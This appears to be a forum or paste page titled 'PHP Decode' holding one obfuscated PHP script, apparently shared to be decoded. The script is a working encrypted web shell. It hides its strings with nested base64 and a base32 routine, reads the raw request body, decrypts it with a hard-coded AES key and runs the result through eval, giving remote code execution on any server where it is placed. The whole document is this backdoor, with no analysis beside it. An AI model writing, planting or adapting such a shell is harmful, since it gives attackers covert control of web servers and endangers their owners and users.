PHP Decode

<?php 
@error_reporting(0); 
session_start(); 
    $govb6= base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")).chr(55); 
    $_SESSION['k']=$govb6; 
    session_write_close(); 
    $govDr=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4")); 
    $govCCIagsGzvZYh9q='openssl'; 
    $govWcZ4Aq=gov1NNVQRHl($govDr); 
    $govfbtUjdEh="file_g".chr(101)."t_"."con".base64_decode("dGVudHM="); 
    $govnpwKfg2lq9Mc=$govfbtUjdEh($govWcZ4Aq); 
    if(!extension_loaded($govCCIagsGzvZYh9q)) 
    { 
        $gov3="base64_"."decode"; 
        $govnpwKfg2lq9Mc=$gov3("/*X]-DP@i*/".$govnpwKfg2lq9Mc); 
        for($i=0;$i<strlen($govnpwKfg2lq9Mc);$i++) { 
 
            } 
    } 
    $govnpwKfg2lq9Mc=openssl_decrypt($govnpwKfg2lq9Mc, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $govb6); 
    $govxwm4OoTZhj1fIq=explode('|',$govnpwKfg2lq9Mc); 
    $govSE6xaDmg7pKyta=$govxwm4OoTZhj1fIq[1]; 
    class govXL{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}} 
    @call_user_func(new govXL(),$govSE6xaDmg7pKyta); 
    function gov1NNVQRHl($gov0){ 
    $di15 = ''; 
    $govzrPPPchILPK = (91+13329)*intval(chr(48)); 
    $govydveqsig2d = (6622-14360)*intval(chr(48)); 
    for ($i = 0, $j = strlen($gov0); $i < $j; $i++){ 
        $govzrPPPchILPK <<= 5; 
        if ($gov0[$i] >= 'a' && $gov0[$i] <= 'z'){ 
            $govzrPPPchILPK += (ord($gov0[$i]) - 97); 
        } elseif ($gov0[$i] >= '2' && $gov0[$i] <= '7') { 
            $govzrPPPchILPK += (24 + $gov0[$i]); 
        } else { 
            exit(1); 
        } 
        $govydveqsig2d += 5; 
        while ($govydveqsig2d >= 8){ 
            $govydveqsig2d -= 8; 
            $di15 .= chr($govzrPPPchILPK >> $govydveqsig2d); 
            $govzrPPPchILPK &= ((1 << $govydveqsig2d) - 1);}} 
    return $di15;} 
?>